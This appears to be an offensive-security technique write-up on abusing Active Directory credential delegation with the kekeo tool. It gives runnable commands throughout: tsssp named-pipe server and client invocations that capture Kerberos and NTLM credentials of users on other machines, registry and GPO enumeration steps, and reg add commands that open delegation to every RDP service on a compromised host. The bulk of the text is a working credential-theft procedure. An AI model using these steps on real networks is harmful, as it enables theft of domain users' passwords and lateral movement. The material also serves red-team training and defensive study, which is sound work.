This is possible due to Active Directory feature called Credentials Delegation.
Credential Delegation is a feature that allows domain administartors to authorize certain machines or to be more precise - certain SPNs, to accept delegated passwords. In other words, this means that certain services on certain machines can be set to allow users to authenticate without the need to supply their credentials interactively - almost like a Single Sign On.
If credential delegation is set up, credentials can be dumped without touching lsass with a tool called kekeo.
Let’s spin up a tsssp named pipe server where targets of whom the credentials we want to steal, will connect to, on the compromised workstation ws01 (running as SYSTEM):
// needs to run as NT SYSTEM
tsssp::server
Now, let’s connect to the tsssp server on ws01 from the target computer ws02 (we want currently logged on user’s from ws02 credentials to be stolen by being sent to the tsssp server on ws01 over the named pipe):
tsssp::client /target:termsrv/ws01.offense.local /pipe:\\ws01.offense.local\pipe\kekeo_tsssp_endpoint
The same technique applies to NTLM authentication. For the technique to work with NTLM credentials, below needs to be enabled in AD in Computer Configuration > Policies > Administrative Templates > System > Credential Delegation:
Differently from dumping kerberos credentials, the NTLM delegated credential dumping attack can be performed locally on the target system - we only need two kekeo instances running as low privileged users, unlike with kerberos credential dumping where the tsssp server had to be running as SYSTEM.
Let’s spin up the server on one console:
// running as ws02\spotless
tsssp::server
And connect to it from another console:
// running as ws02\spotless
tsssp::client /target:termsrv/ws02.offense.local
Once on the box, we can check if credential delegation is turned on:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation
Below shows what credential delegation is enabled on the system (represented with 0x1):
We can then check what SPNs accept delegated credentials:
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials
Below shows that the box we have access to is allowed to delegate credentials to all termsrv SPNs - all RDP services:
gpresult /h report.html
## or Get-GPOReport if you have access to AD admin tools
Additionally, we can use Parse-Polfile to parse the registry.pol of the linked GPO. First of, let’s find the GPO that is being applied to the user spotless:
Get-NetGPO -UserIdentity spotless
and then parse the policy file:
Parse-PolFile -Path "\\offense.local\sysvol\offense.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol"
If you have admin rights on the compromised box, you can enable all credential delegation like so:
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d "*"
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d "*"
## delete all
reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /f